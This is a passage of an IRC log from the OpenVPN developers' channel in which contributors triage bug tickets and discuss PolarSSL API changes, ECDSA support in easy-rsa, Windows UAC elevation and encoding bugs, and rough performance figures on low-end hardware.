2.3.0 fails to build with PolarSSL 1.2.0+) – OpenVPN Community (at community.openvpn.net) 07:47 <@mattock_afk> or irrelevant perhaps? 07:48 < syzzer> mattock: yes, that's fixed for sure 07:49 <@mattock_afk> ok, I'll close the bug report 07:49 < syzzer> was basically the same issue as we have now with polar 1.3: API's just break on minor version updates 07:51 <@mattock_afk> must be that the PolarSSL guys are doing agile development :) 07:51 <@mattock_afk> or just "we don't really care about API breakage" kind of development :D 07:53 <@cron2> syzzer: well, this, and also the cipher name translation layer and such - so that patchset was actually quite big 07:54 < syzzer> mattock_afk: the second. They explicitly choose to not be backward compatible, to prevent an API like OpenSSL's. 07:54 < syzzer> cron2: right, I almost forgot about that. 07:55 <@mattock_afk> syzzer: I guess that's a sane policy, if they also make sure that the version changelogs thoroughly document the API breakages 07:57 < syzzer> mattock_afk: they do that, e.g. https://polarssl.org/kb/how-to/migrate-from-polarssl-1.2-to-polarssl-1.3 07:57 <@vpnHelper> Title: Migrating from PolarSSL-1.2 to the PolarSSL 1.3 branch - Knowledge Base (at polarssl.org) 08:08 <@cron2> syzzer: so inside 1.3.x, the API stays? 08:08 <@mattock_afk> 9 months more of bug reports to skim through 08:08 <@cron2> mattock: I applaud your efforts. This was really needed, given that there is so much stuff that has long been fixed, etc 08:10 <@mattock_afk> here's a one-line fix to a bug that may or may not be a bug: https://community.openvpn.net/openvpn/ticket/261 08:10 <@vpnHelper> Title: #261 (redirect-private fails when no route-gateway or ifconfig options specified) – OpenVPN Community (at community.openvpn.net) 08:10 <@mattock_afk> so it'd need review 08:10 <@mattock_afk> cron2: after getting through with this bug report review, I need to make Trac more active in informing us about new tickets 08:11 <@mattock_afk> at least we can't claim we were not notified then :D 08:11 <@cron2> what the hell is redirect-private? 08:12 <@cron2> mattock wins the prize for finding the most obscure option today 08:15 <@mattock_afk> thank you 08:15 <@mattock_afk> what's the prize? 08:15 <@mattock_afk> virtual tap on the back, I presume? 08:16 < syzzer> cron2: yes, inside minor releases the API is stable 08:19 <@cron2> mattock_afk: 5 extra trac tickets :) 08:19 < syzzer> mattock_afk: you can assign #343 to me, I seem not to be able to do that myself 08:20 <@mattock_afk> syzzer: ok 08:20 <@cron2> syzzer: that is promising, so eventually we could have a patch to support 1.2.x *plus* 1.3.x :-) (if the number of extra #ifdef's can be kept low) 08:20 <@mattock_afk> done 08:22 <@cron2> mattock: what you actually win is "lean back and watch everybody else struggle with all the revived tickets" :-) - I think i need to take a week's vacation, or so 08:23 < syzzer> cron2: yes, we could. I'd say the total ifdef-count for that would go somewhere in the 20's to 30's. 08:23 <@cron2> oh, that's quite a bit 08:24 < syzzer> yes, quite some API calls changed from 1.2 to 1.3, and we use quite some functionality from that 08:25 <@cron2> this will be a tough decision - do we want 1.3 support in 2.3.4? if yes, 1.2+1.3? 1.3-only? pain in all options... 08:25 <@cron2> (and having 1.2-support in 2.3.x and 1.3-only in master will not make testing easier) 08:25 <@mattock_afk> cron2: I have my share of Windows. openvpn-build and NSIS fun :) 08:39 <@mattock_afk> I added tap-windows component to trac and added default owners to some components 08:39 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:39 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:39 <@mattock_afk> syzzer: do you want to be owner of the "crypto" component? 09:16 <@mattock_afk> this looks fairly nasty, and I was able to reproduce it myself: https://community.openvpn.net/openvpn/ticket/278 09:16 <@vpnHelper> Title: #278 (OpenVPN client fail to connect to server because of invalid temp path) – OpenVPN Community (at community.openvpn.net) 09:17 <@mattock_afk> what worries me is that if the default setting (i.e. not having customized tmp-dir) can trigger this 09:18 <@mattock_afk> in which case any non-ascii characters in a user's home path would prevent openvpn from starting up 09:26 <@mattock_afk> cron2: this is fixed, right: https://community.openvpn.net/openvpn/ticket/280 09:26 <@vpnHelper> Title: #280 (Management command "kill IP:port" will fail for IPv6 addresses) – OpenVPN Community (at community.openvpn.net) 09:33 < syzzer> mattock_afk: yes, that makes sense. Usually crypto stuff has to wait for me anyway, so why not make that official :p 09:33 <@mattock_afk> ok, I'll do it :) 09:34 <@mattock_afk> done 09:35 <@mattock_afk> cron2: you might want to look here at the official OpenVPN network guy: https://community.openvpn.net/openvpn/ticket/282#comment:1 09:35 <@vpnHelper> Title: #282 (Preserve client's default route if networks conflict) – OpenVPN Community (at community.openvpn.net) 09:48 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 09:48 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 09:52 -!- Netsplit *.net <-> *.split quits: +novaflash 09:53 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 09:53 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 10:10 <@cron2> mattock_afk: #280 is not fixed, we decided that this is "WONTFIX" as there is a kill using the client ID 10:10 <@cron2> but you can assign that to me, I'll send a reply 10:10 <@mattock_afk> ok 10:11 <@mattock_afk> done 10:11 <@mattock_afk> uh, so many Windows issues 10:13 <@cron2> yeah. #282, yet another one for me to investigate... 10:13 <@cron2> food now :) 10:19 <@mattock_afk> this is something that needs love soon: https://community.openvpn.net/openvpn/ticket/316 10:19 <@vpnHelper> Title: #316 (Windows 8 issue: TUN/TAP adapter does not start) – OpenVPN Community (at community.openvpn.net) 10:19 <@mattock_afk> too bad none of us is really suited for fixing this 10:37 <@mattock_afk> cron2: triggered a full rebuild to test the --disable-snappy etc. builders I just added 10:38 <@mattock_afk> -> food 11:25 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:25 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:20 <@andj> hey, I have this patch for OpenVPN, it integrates this library called PolarSSL... should I give it to you or Google? 12:24 <+krzee> haha 15:15 <@cron2> andj: how much do you pay for us to include it and ship it? It's worthless otherwise! :-) 15:32 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 15:33 <@pekster> mattock_: Oh, just another reminder that the build-snapshot stuff now supports depcache (as noted before, it works fine for me when I skip snappy since that won't work well with win32 today.) No idea if you wanted to poke at it, but I'm "happy" it does everything properly 15:34 <@pekster> I think you added me to the comitters, so I can just push it shortly unless there was more to consider 15:43 <@mattock_afk> pekster: ok, nice! 15:46 <@pekster> I should have time to push that later this evening (Western time) along with hopefully getting a reply to the chroot stuff to the ML to lay out design options we have on that fix 15:50 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Ping timeout: 246 seconds] 16:13 < syzzer> pekster: I've been playing a bit with easyrsa3 to get ec-support in there, think I'm almost there 16:15 < syzzer> the thing is though, it kind of feels like I'm abusing your code... My shell scripting is really not that good, so I probably broke all the pretty compatibility you achieved :p 16:15 <@pekster> Well, if you have something that "works" I can probably beautify it for compatability ;) 16:16 < syzzer> yeah, that kind of was my train of thought, hehe 16:16 <@pekster> And yea, things get tricky since I currently envision the easyrsa program itself to run on Unix/Linux/Windows (through mksh/Win32) and dump the distro-centric stuff to the distro/ dir. This said, if you need more externals or w/e while you get it working, go for it 16:17 <@pekster> The easyrsa program is currently (and I consider it a big if it's not) POSIX-friendly, with the addition of func-local vars that "everything" seems to support 16:17 <@pekster> bug* 16:17 < syzzer> "Signature Algorithm: ecdsa-with-SHA256", hah, seems to work alright! 16:18 <@pekster> I look forward to seeing the code when you feel it's ready :) 16:18 <@pekster> I played ever-so-briefly with ECC in easyrsa3 earlier on in the dev cycle when I was hacking with it out of my own repo, but at the time there wasn't a lot of motion to get OpenVPN to do it, so I left it for later. Glad to see more interest since then 16:19 < syzzer> do you prefer patchfile, pull request, carrier pigeon? 16:20 <@pekster> Whatever is easier; pull request or a link to your repo is probably easiest as I can just suck it down via git, though it's not like a patchfile is hard either 16:21 < syzzer> okay, let's see if I can create that pull request then, as that's also on my list of stuff to try out. 16:23 <@pekster> If you used github to clone the repo I think there's some UI button to initiate a pull request after you push your changes up (and on my end, I simply do the reverse operation: I add your repo as a remote so I can merge and view your commits) 16:24 <@pekster> Well, github calls it a "fork", basically just a "github indiced clone" 16:24 <@pekster> induced* 16:25 < syzzer> I just did a git clone on the easy-rsa repo, so I'll guess I'll have to create a 'fork', add that as extra remote, push my changes and find the magical UI button. 16:26 <@pekster> Yea, probably. If a patch sounds easier, that's quite fine too :P 16:26 <@pekster> `git format-patch` and I think it just creates as many .patch files as you have new commits 16:26 < syzzer> sure, but how much fun is that, I already know how to do that :p 16:26 <@pekster> Right :) 16:36 < syzzer> There, a pull request. I'd love to learn about the stuff I managed to break with these few lines of code :p 16:37 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 16:41 <@pekster> My 2-minute review says it looks pretty nice; I'll probably move the ALGO/ALGO_PARAMS stuff into the vars_setup() for the expected "order of option override" stuff, but otherwise it looks pretty easy to merge in :) 16:42 <@pekster> Well, plus the usual "make sure Windows doens't barf at any of it" surprises that we all love oh-so-much, but none of this "should" break there AFAICT 16:42 < syzzer> okay, nice :) for me it was just a fun little hacking project, so feel free to change as you please. 16:43 <@pekster> Well, no real harm in where it is (it's after vars_setup, so it'll work as-is) but that's where all the other magic like openssl config & x509 types go, so might as well keep fish of a same color together 16:44 <@pekster> But super-happy to see ECC support :D 16:46 <@pekster> Thanks a ton for figuring out what needed to happen to support it. OpenVPN might even have ECC support sooner than I expected at this rate! 16:46 < syzzer> one thing I just realized I still had doubts about is the way I create the needed ecparam-files. I just created the extra directory and try to create the params whenever needed, but there are no extra precautions checking paths etc. 16:46 <@pekster> Oh, yea, I can clean that up too 16:47 <@pekster> It'll look like what I do with EASYRSA_SSL_CONF and EASYRSA_EXT_DIR in vars_setup() 16:47 <@pekster> It's kind of an edge-case, but users "can" override EASYRSA so it's not the default of "$PWD" and run it from whatever dir, so that's what the magic there handles 16:48 < syzzer> thanks for cleaning up :) if all goes well there could be a fully functional OpenVPN-polarssl with full ECC-support out on master in a few weeks. I've got the patches, but both polar and pkcs11-helper need to apply some of my patches first 16:49 < syzzer> oh, and someone needs to review my work for OpenVPN, finding someone also seems to be non-trivial :p 16:50 <@pekster> Yea, the SSL internals get complex in a hurry. My head hurts enough with the frontend to openssl, and that's supposed to be the "human readable" stuff.. 16:50 < syzzer> ah, right, vars_setup looks a lot more robust :) 16:51 <@pekster> Yea, you can read all about the "order of what overrides what else" in the EasyRSA-Advanced.md doc; I tried to support a variety of usecases for people that prefer env-vars to the 'vars' file, for instance 16:51 <@pekster> Most if it all boils down to set_var not override what has already been set though 16:52 <@pekster> I'll probably treat the ecparams like the x509-types dir as they do basically the same tying; both define stuff that impacts "how" the certs/keys are generated 16:52 < syzzer> Cool! I really like the flexibility of easyrsa3, even more easy now 16:53 <@pekster> Good to hear; that was my main reason for wanting to do a re-write -- I really disliked the utter inflexibility of the v2 code. I know there's more code with this new codebase, but I think the benefits outweigh the extra lines 16:53 <@pekster> Well, that and the fact that Windows was never properly supported 16:53 <@pekster> As much as "we" like to ignore it, lots of the userbase is on win32 :\ 16:56 <@pekster> And for bonus points you didn't introduce any annoying extra utility deps that Windows needs; have an IRC cookie for that ;) 16:56 < syzzer> Heh, yeah, I for sure have the tendency to avoid windows-stuff. Really glad people go the extra mile to keep the windows users happy. 16:56 < syzzer> Thanks :) 16:57 <@pekster> Lots of the support for that currently goes to the MirOS folks and a dev that ported mksh to Win32 16:57 <@pekster> It's amazing how hard finding a _usable_ POSIX shell for Windows is 17:20 <@pekster> Oh, speaking of Windows users, it would be great to also include UAC-auto-elevate in the next release we do --- Day changed Wed Nov 20 2013 01:46 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 02:08 <@cron2> pekster: d12fk was unhappy about that patch (and I'm not going to relay arguments back and forth), so you might want to discuss that one with him 02:08 <@cron2> I think it went along the lines of "if you really want this, you can change the app manifest locally, but for official distribution, he considers this to be more of a risk than benefit" 02:18 <@d12fk> pekster: thr "risk" that i see is that when we officially push out a GUI that runs with admin priv, the interactive service that basically solves the windows problems the right way and even provides more would be useless, because ovpn would continue to run as admin then 02:19 <@d12fk> and since we agreed on the new service to be in 2.4 i see integrating the UAC elevation not such a big gain compared to the bad stuff that could possibly happen 02:19 <@cron2> d12fk: different question that just came up. Can the Astaro UTM run as openvpn client ("branch office connecting via OpenVPN to central location")? 02:20 <@d12fk> of course ppl run elevated GUIs out there already, but they don't have the kind of official blessing, so we can't be blamed if their systems break badly 02:21 <@d12fk> cron2: it can but it's not officialy supported and might break at any update 02:22 <@cron2> d12fk: bröh 02:22 <@d12fk> is that question from ovpn-users? we do get it alot from our forum users 02:22 <@cron2> d12fk: no, it's a question from "we are designing a new managed VPN product for our customers, and we're wondering what hardware to use for branch offices" 02:23 <@cron2> we (SpaceNet) have fairly good OpenVPN knowhow in the house (not only me :) ), so that part is covered, but "what hardware to put it on? what OS to run it on?" remains unanswered 02:24 <@cron2> for the central office it could be one of our VMs with "our home-grown linux and openvpn", but for the branch office you want something shiny with blinkenlights :-) 02:26 <@d12fk> hm just setup a ssl vpn site-to-site server with the UTM and check /etc/chroot-openvpn/etc/openvpn/conf.d/* and on a client /etc/chroot-openvpn/etc/openvpn/client/* for the configs and judge yourself 02:26 <@d12fk> i think you have 30 days until you need a license 02:27 <@d12fk> oh and there's currently the beta out with a beta license that will last a little longer 02:27 <@cron2> d12fk: if it's not fully supported, it won't do the job for "we want something shiny" :-) 02:28 <@d12fk> ok 02:29 <@d12fk> mattock_afk: could you test the patch i posted about the tmpdir on windows 02:31 <@mattock_afk> d12fk: yep 02:38 * d12fk now looking at #165 02:40 <@mattock_afk> d12fk: where did you put the patch? 02:40 <@d12fk> i posted it to -devel 02:40 <@mattock_afk> hmm 02:40 <@mattock_afk> can you resend it to me, I don't have it 02:41 <@d12fk> strange. anyone else seen it? 02:41 <@d12fk> it's on gmane 02:41 <@d12fk> http://thread.gmane.org/gmane.network.openvpn.devel/8001 02:41 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 02:42 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Ping timeout: 246 seconds] 02:42 <@mattock_afk> uh, it was in my INBOX 02:42 <@mattock_afk> somehow missed it :D 02:43 <@d12fk> yeah git send-mail may have auto CCed you 02:43 <@d12fk> seem to be ml etiquette 02:43 <@mattock_afk> I'll try it now 02:44 <@d12fk> #165 is the same class of problem 02:55 <@mattock_afk> we got plenty of character encoding issues on windows 02:58 <@cron2> d12fk: is that "Support non-ASCII characters in Windows tmp path"? 02:59 <@d12fk> yes 02:59 <@cron2> have it :) 02:59 <@cron2> if mattock acks, I can put it in tonight... 03:02 <@d12fk> mattock_afk: what else? 03:02 <@mattock_afk> d12fk: did you fix all the bugs already? :O 03:02 <@d12fk> at least i hope it's going that way 03:02 <@mattock_afk> openvpn-build is building the executable now 03:03 <@mattock_afk> it will take some time, then I can test it 03:03 <@d12fk> error msgs returned from tools is the last encounter 03:06 <@mattock_afk> cron2: all builds with the --disable-snappy type flags passed 03:06 <@cron2> cool :) 03:07 <@cron2> (now we need some t_client tests set up that actually use snappy *if available*... and then run t_client tests on at least one of the --disable-snappy tests) 03:07 <@cron2> as if I had nothing else to do :) 03:07 <@mattock_afk> yeah :) 03:07 <@mattock_afk> in the optimal scenario we'd have 100 different types of server configurations being connected by and equal amount of clients 03:07 <@mattock_afk> that's a lot of permutations 03:08 <@mattock_afk> well, at least have different servers for different compression and crypto libraries, or so 03:11 <@cron2> compression variants can be added to the existing servers (using the peer-info negotiation) 03:11 <@cron2> adding polarssl reference servers is "next"... 03:18 <@cron2> dazo, plaisthos: can you use a yubikey on an iPad/Android device? 03:18 <@cron2> (as in "are USB keyboards supported on those"?) 03:18 <@d12fk> there's one with nfc 03:19 <@d12fk> yubi neo 03:21 <@cron2> fascinating 03:29 <@mattock_afk> we got this patch still lying in the review queue: http://thread.gmane.org/gmane.network.openvpn.devel/7653 03:29 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 03:29 <@mattock_afk> syzzer might want to have a look at that 03:30 <@mattock_afk> it's not just a patch, but also ideas on how to develop the patch further 03:31 <@d12fk> isn't syzzer taking on it? 03:33 <@mattock_afk> there's an associated track ticket, which I assigned to syzzer 03:33 <@mattock_afk> we should probably add that in 2.4 03:34 <@cron2> yep 03:37 <@mattock_afk> this is an interesting one: https://community.openvpn.net/openvpn/ticket/303 03:37 <@vpnHelper> Title: #303 (Reconnect fails with DNS error, when network is switched) – OpenVPN Community (at community.openvpn.net) 03:37 <@mattock_afk> https://bugzilla.redhat.com/show_bug.cgi?id=966281 03:37 <@vpnHelper> Title: Bug 966281 openvpn 2.3.1 reconnect fails with DNS error, when network is switched (at bugzilla.redhat.com) 03:38 <@mattock_afk> there's one commit which rewrites the resolving stuff: ea93a07805, for Juanjo 03:38 <@mattock_afk> I wonder if that could have caused that issue... 03:39 <@cron2> assign that to plaisthos... 03:39 <@cron2> (as in: after the dual-stack patches are merged, this might or might not be resolved already) 03:44 <@plaisthos> looking ... 03:45 <@plaisthos> should not have happend before. IIrc we always call res_init before resolving anything 03:45 <@plaisthos> but I will check the bug 03:46 <@cron2> thanks (you're the one who is "closest" to this code area right now) 03:47 <@plaisthos> but let me get the whole dual stack patch stuff to the ml first 03:47 <@plaisthos> I will fix in a seperate commit 03:49 <@plaisthos> cron2: as for the yubi key, since android supports usb keyboard it should work 03:50 <@mattock_afk> here's one patch that we should merge, and which has an ACK from syzzer: https://community.openvpn.net/openvpn/ticket/304 03:50 <@vpnHelper> Title: #304 (List or indicator of supported tls/ciphers/hashes) – OpenVPN Community (at community.openvpn.net) 03:52 <@cron2> mattock: noted. Will look tonigth 03:52 <@cron2> assign to me if you want 04:17 < syzzer> mattock_afk, cron2: the patch I ack'ed in that ticket is the one from the comments, from MaxMuster. I believe that's already in. 04:18 <@mattock_afk> syzzer: I can still see the removed lines in src/openvpn/ssl.c 04:19 < syzzer> basically the ticket requests the wrong solution, --show-tls should not list unsupported ciphers. 04:20 < syzzer> mattock_afk: okay, then it *should* be merged. This is a rather old copy-paste error from my side. 04:54 <@cron2> syzzer: could you re-check that ticket and tell me waht to do? 05:42 < syzzer> cron2: the patch by MaxMuster from that ticket should be applied. After that someone has to look into why some of the shown ciphers don't work. So probably just assign it to me because I don't see anyone else doing this. 05:48 <@d12fk> does anyone here have a russian windows? 05:49 <@d12fk> i need to verify the encoding of the characters coming back from a command line tool like route.exe 05:53 <@d12fk> wasnt svimik in here just days ago or do i confuse him 05:55 <@d12fk> otoh this will only be a problem for xp client with the interactive service doing the system related stuff from vista onwards 06:01 <@mattock_afk> yeah, svimik was here 06:02 <@mattock_afk> I'm fairly sure you can find his email from devel archives 06:26 <@d12fk> by now i believe i should be able to reproduce it with a german windows as well 06:26 <@d12fk> i'll first try that and get back to you if i fail 06:57 <@plaisthos> username: Heikö ;) 06:58 <@mattock_afk> yes, use umlauts 06:58 <@mattock_afk> ü 06:58 <@mattock_afk> or the double s 06:58 <@mattock_afk> heisse maroni 06:59 <@mattock_afk> we have two interesting signal processing tickets related to slow DNS responses: 06:59 <@mattock_afk> https://community.openvpn.net/openvpn/ticket/311 06:59 <@mattock_afk> https://community.openvpn.net/openvpn/ticket/276 06:59 <@vpnHelper> Title: #311 (Client does not always die after a hard SIGTERM) – OpenVPN Community (at community.openvpn.net) 06:59 <@vpnHelper> Title: #276 (Segmentation fault if signal received during address resolution) – OpenVPN Community (at community.openvpn.net) 07:08 <@plaisthos> mattock_afk: I already fixed 276 in my dual stack patches 07:09 <@mattock_afk> plaisthos: ok, then we just need to get the dual-stack patches in :) 07:09 <@mattock_afk> I'll mention that in the ticket 07:09 <@plaisthos> mattock_afk: you can set me to owner of these tickets 07:09 <@mattock_afk> is your username "plai" or "plaisthos"? 07:09 <@plaisthos> plaisthos 07:09 <@plaisthos> iirc 07:09 <@mattock_afk> ok 07:09 <@plaisthos> logged in as plaisthos 07:10 <@mattock_afk> ok, good 07:10 <@plaisthos> we might still need a seperate fix for 2.3.x 07:10 <@mattock_afk> yep, if we consider the problem severe enough, and the fix trivial/safe enough 07:21 <@pekster> d12fk: Won't users getting 2.4 (or whatever it ends up in) with the "new service stuff" just get a non-elevated GUI then? In almost _all_ cases today a non-elevated GUI breaks things in very subtle ways for users becuase OpenVPN "works" as a non-admin, shows no signs of errors to your average user with the popup saying "Connected" and green status, and then completely fails to do anything useful 07:21 <@pekster> How is this "better" ? 07:22 <@pekster> I see your point about the service being the better way, but how is ignoring the fact that we can ship today's functionality in 2.4 justification for leaving this broken now? 07:28 <@mattock_afk> pekster: I agree that if the new (service-enabled) GUI overwrites the old GUI, then applying your patch now would be the way to go 07:29 <@mattock_afk> if the "Run as administrator" setting lingers on even after the GUI is updated, then I'm with d12fk if we can push out 2.4 fairly soon 07:29 <@mattock_afk> I don't know where exactly Windows stores that setting, so I don't really know what happens 07:33 <@mattock_afk> here's one corner-case which I'm not sure we want to fix: https://community.openvpn.net/openvpn/ticket/328 07:33 <@vpnHelper> Title: #328 (openvpn client gives up instead of retrying when proxy server is slow) – OpenVPN Community (at community.openvpn.net) 07:33 <@mattock_afk> or if using an external script would be best (like the guy does) 07:39 <@mattock_afk> there were two bug reports related to chroot file path issues, for which we have a patch for pekster that would need some additional love: http://thread.gmane.org/gmane.network.openvpn.devel/7873 07:39 <@ecrist> syzzer: ping 07:39 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:39 < syzzer> ecrist: hi 07:40 <@ecrist> can you rebase your git pull request off the 2.x branch for easy-rsa? 07:40 <@ecrist> master is being used for 3.0, for which there isn't proper code yet 07:40 <@ecrist> wait, hrm 07:40 <@pekster> mattock_afk: Yup, I need a follow-up becuase dazo had some follow-up and after some chat with cron2, I'll have a reply sent there soon (hopefully today) 07:40 <@ecrist> pekster did finally commit his stuff 07:40 <@mattock_afk> pekster: nice, thanks! 07:41 <@pekster> ecrist: I noted this before, and you appeared to reply :P 07:41 <@ecrist> so, do you want ECDSA support in 3.x, or 2.x? 07:41 <@mattock_afk> pekster: I'll assign the ticket to you 07:41 <@ecrist> pekster: I did, it's early 07:41 <@ecrist> :P 07:41 <@pekster> ecrist: syzzer & I talked about that last night; yes, it's in progress. Don't apply it yet becuase it needs a bit of re-working to go wtih it 07:41 * dazo looks up 07:41 <@ecrist> ok 07:41 * ecrist does nothing 07:41 < syzzer> ecrist: I just hacked on top of master yesterday to get ecdsa support in 07:41 <@pekster> The ecparms stuff isn't really path-safe now, and it's in the wrong spot, and it needs vars.example support 07:41 <@pekster> All minor stuff; we're on it ;) 07:42 <@dazo> cool! we're getting ECC support in easy-rsa? 07:42 <@pekster> Won't happen before early evening though; other demands on me until then 07:44 < syzzer> dazo: yes :) The pull request offers the functionality buts needs to be cleaned up by someone who is better at writing (portable) shell scripts then I am :p 07:45 <@dazo> :) 07:45 <@dazo> Nice! ... well, it's progress anyhow :) 07:45 < syzzer> yup, that was the point 07:48 <@pekster> The meat of your code (based on my quick 3-minute review of it yesterday) looks pretty good, so you've made the remaining changes pretty darn easy. Love the comments too following the existing style (I've learned the hard way in my past that shell code can get quite unreadable without them!) 07:49 <@d12fk> pekster: you nailed it and i'm with you 07:49 <@pekster> http://www.bash.org/?464385 07:49 <@d12fk> i just think it's not work it for the few remaining month until 2.4 07:49 <@vpnHelper> Title: QDB: Quote #464385 (at www.bash.org) 07:50 <@pekster> d12fk: Ah, didn't realize the time-frame there. If it's really that close, then I'm OK waiting; I do have a modified (and clearly labled as such during both install and the programs listing) version on my !previews project 07:50 <@d12fk> mattock_afk: when do we plan to release 2.4 07:51 <@d12fk> i "feel" to remember it's something early next year 07:51 <@mattock_afk> d12fk: not sure, but it should be fairly close 07:51 <@mattock_afk> we want the windows service thing, plaisthos' dual stack patches and an assortment of smaller things in 2.4 07:51 <@cron2> d12fk: I'm so not going to call any dates 07:52 <@mattock_afk> we haven't really decided everything yet 07:52 <@cron2> last time I tried, we missed the planned release date for 2.3 by about a year 07:52 <@d12fk> ok i'll deciate free time to the service now 07:52 <@d12fk> wanna get it off my chest for real now 07:54 <@mattock_afk> oh, so many iOS tickets also 07:54 <@mattock_afk> James is going to love it, I let him know about them 07:56 <@cron2> he "just" needs to release 1.0.2 to close half of them :-) - but as long as apple isn't telling him what is broken with the VPN API in iOS 7, this is not going forward :/ 07:57 <@mattock_afk> yes 07:57 <@mattock_afk> cron2: do you want to backport man-page patches from master to 2.3.x? 07:58 <@mattock_afk> in other words: do we have a policy on that 07:58 <@mattock_afk> ? 07:59 <@mattock_afk> for example, there is this bug report which I just closed: https://community.openvpn.net/openvpn/ticket/337 07:59 <@vpnHelper> Title: #337 (--sock-proxy documentation should mention authfile argument) – OpenVPN Community (at community.openvpn.net) 08:04 <@cron2> mattock_afk: if they apply to 2.3, then yes 08:04 <@cron2> documentation is easy :-) - and I think I did backport that one already, let me see 08:04 <@mattock_afk> I believe that one does 08:04 <@cron2> a478420a1cba6ee96e2cecbcd5e20a7946c557f0 08:04 <@cron2> yes 08:04 <@cron2> (cherry picked from commit e0a7471f250e25a384a23dfb9efd2ffef83be913) 08:11 <@dazo> cron2: what's the best way to get whois info on ipv6 addresses? 08:12 <@cron2> dazo: uh, "whois"? 08:12 <@cron2> like, "whois -h whois.ripe.net 2001:608::1" 08:12 <@dazo> like who owns the ip adress/range 08:13 <@dazo> yeah 08:13 <@cron2> yeah, that is the answer :-) 08:13 <@dazo> ahh, I didn't use the '-h' part 08:13 <@dazo> thx! that worked just perfect :) 08:13 <@cron2> (you need to tell it the RIR in question, while many of the standard whois clients seem to have built-in rules to query whois.arin.net/whois.ripe.net/whois.apnic.net/... depending on the /8 you're asking about) 08:14 <@dazo> right ... I'm used to that automatic on ipv4 addresses .... so I got confused when it didn't work on ipv6 08:14 <@cron2> I think starting with whois.arin.net should work for all cases, as they send referrals to "whoever is the right server" 08:14 <@cron2> ReferralServer: whois://whois.ripe.net:43 08:14 <@dazo> yeah! 08:16 <@dazo> I sometimes catch spammers using multiple IP addresses in a close range ... so I want to know which range they have ... and I just block that range in the firewall .... solves a lot of problems later on :) 08:16 <@dazo> (can be a bit of work, but it usually saves my time later on) 08:18 <@mattock_afk> only three tickets left 08:18 <@mattock_afk> but that's for Friday probably 08:48 <@d12fk> ha fun it's really the old ms-dos codepages the messages from the console are encoded in, thought i'd never stumble across these again ever 08:48 <@cron2> long live MS-DOS! 08:49 <@cron2> completely unrelated question - does anyone have hard numbers about OpenVPN performance? Like, I have a Soekris net6501 (1G RAM, 1.5GHz Atom CPU), at how many mbit/s of blowfish openvpn will the CPU max out? At what number of SSL renegotiations per second? 08:52 <@pekster> cron2: On a very un-scientific test I ran a few months back, I crippled a a Celeron 2.26GHz Intel with less than 20 (valid) TLS negotiations per second 08:52 <@cron2> mmmh. That seems a tad slow to me, tbh, but I can see that TLS negotiations *are* expensive 08:53 <@pekster> I did successfully get 1000 client instsances connected through, and after the TLS spam the server was under 100% load with a 10s keepalive value (so 100 pps each direction of keepalive was significant there) 08:53 <@cron2> huh 08:53 <@pekster> Yea, both the negotiations and anything over the control channel 08:53 <@pekster> Keepalives are TLS-processed AFAIR 08:53 <@cron2> ah 08:54 <@pekster> So, 1000 clients / 10s per keepalive = 100 keepalives per second, and then double it for the "other" direction 08:54 <@cron2> (I was trying to say "that scares me, it should do better than just 100 pps", but indeed...) 08:54 <@pekster> Well, it's 200! :P (and yea, that costs a lot too given that TLS is involved) 08:55 <@pekster> On the plus side, anyone trying to connect 1k clients on a Celeron in production is not too bright in the first place 08:55 <@cron2> so what throughput did you achieve ("stream cypher")? 08:55 <@cron2> well, I'm thinking about an Atom 1.5GHz, so that's comparable hardware :-) 08:55 <@pekster> No clue; let me find out by connecting to that box with FTP over the link and see what I get 08:57 <@cron2> ok, need to leave now (get kids from Kindergarten), will be back later 09:07 <@pekster> cron2: My FTP client reports: 4.55 Mbytes per second (so ~36 Mbps.) This is with BF 256; no AES-NI on the Celeron, obviously :P 09:09 <@pekster> That's with roughly 80-85% CPU utilization by openvpn, so in theory an iperf test might be a bit higher, but I'm not equipped to do that from my current environment 09:11 <@dazo> cron2: blowfish is purely CPU speed related, it seems to perform the same on all CPUs, with the same frequency ... but TLS negotiations are the killer ... but doesn't soekris have an RSA accellerator? (IIRC, there is official BSD support for their RSA cards) 09:12 <@dazo> AES-NI instructions have also only impact on AES encryption 09:13 <@pekster> Right, just figured I'd clarify that this is about as good as it gets (though perhaps 128 bit would be faster too) 09:13 <@pekster> Dunno if any of the new Atoms have aes-ni on them (that'd be neat) 09:14 <@dazo> I'd guess Intel won't do that ... to more easier sell more expensive CPUs :) 09:23 <@d12fk> oh boy #165 is actually a hard one 09:23 <@d12fk> ovpn redirects stdout/stderr to its logfile, that how the output of cmdline tools goes in there 10:01 <@cron2> pekster: thanks, this is at least some indication of what should be possible 10:05 <@pekster> I'm not too well-versed in what fancyness openssl does to take advantage of CPU instructions on chips, though my openssl on that box was built with SSE2 instructions and -march=native, for whatever that might be "worth" to openssl 10:07 <@pekster> Looks like sse2 is the default anyway unless you pass "no-sse2" during ./Configure 11:44 <@vpnHelper> RSS Update - gitrepo: Remove duplicate cipher entries from TLS translation table. <https://github.com/OpenVPN/openvpn/commit/e85d87523af43c5fe5188f7ee1e2fdd2861dcffc> 12:34 <@cron2> dazo: you really need to look more closely into the chroot patch :-) - I've done the actual counting, and there are 13 different options that can happen inside a chroot :-9 12:35 <@dazo> cron2: huh .... okay, I'll dig into it again ... after the system() -> execve() patch in down-root 12:35 <@cron2> all the scripts except --up can be called there... and those are a lot 12:36 <@cron2> plus --tmp-dir, --tls-export-cert... 12:36 <@pekster> Yea, and I am aware there is a 2nd high-level design option for that (sorry, past 2-3 days have been quite busy) as far as using *_chroot() functions go, but that has important drawbacks like duplication of code, more invasive changes, and the loss of ability to let the user know 